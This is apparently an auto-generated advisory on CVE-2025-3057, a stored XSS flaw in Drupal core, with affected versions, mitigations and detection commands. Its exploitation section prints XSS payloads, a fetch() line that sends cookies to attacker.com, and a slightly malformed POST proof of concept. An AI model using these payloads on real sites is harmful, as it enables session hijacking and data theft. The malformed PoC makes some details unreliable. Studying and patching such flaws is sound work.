Drupal, Cross-Site Scripting (XSS), CVE-2025-3057 (Critical)

How CVE-2025-3057 Works

CVE-2025-3057 is a stored Cross-Site Scripting (XSS) vulnerability in Drupal core caused by improper input neutralization during web page generation. Attackers inject malicious JavaScript via user-supplied input (e.g., comments, form fields). When rendered, the script executes in victims’ browsers, enabling session hijacking, defacement, or malware delivery. The flaw persists due to insufficient sanitization in Drupal’s text processing pipeline, affecting versions 8.0.0–10.3.12, 10.4.0–10.4.2, 11.0.0–11.0.11, and 11.1.0–11.1.2.

DailyCVE Form

Platform: Drupal
Version: 8.0.0–11.1.2
Vulnerability: Stored XSS
Severity: Critical
Date: 04/15/2025

What Undercode Say:

Exploitation:

Payload Injection: Submit malicious script via form fields (e.g., node body, comments):
```
<script>alert(document.cookie)</script>
```
Bypass Filters: Use event handlers or SVG payloads:
```
<img src=x onerror=alert(1)>
```

3. Exfiltrate Data: Steal cookies via injected JavaScript:

fetch('https://attacker.com/log?cookie='+document.cookie)

Mitigation:

Patch Immediately: Upgrade to Drupal 10.3.13, 10.4.3, 11.0.12, or 11.1.3.

2. Input Sanitization: Apply `Html::escape()` to user-generated content.

3. Content Security Policy (CSP): Restrict inline scripts:

Content-Security-Policy: default-src 'self'

4. WAF Rules: Block XSS patterns (e.g., <script>, onerror=).

Detection Commands:

1. Scan with Droopescan:

droopescan scan drupal -u <target>

2. Check Installed Version:

curl -I <target>/CHANGELOG.txt | grep "Drupal"

Proof of Concept (PoC):

POST /node/add/ HTTP/1.1
Host: vuln-drupal.com
Content-Type: application/x-www-form-urlencoded
=test&body=<script>alert(1)</script>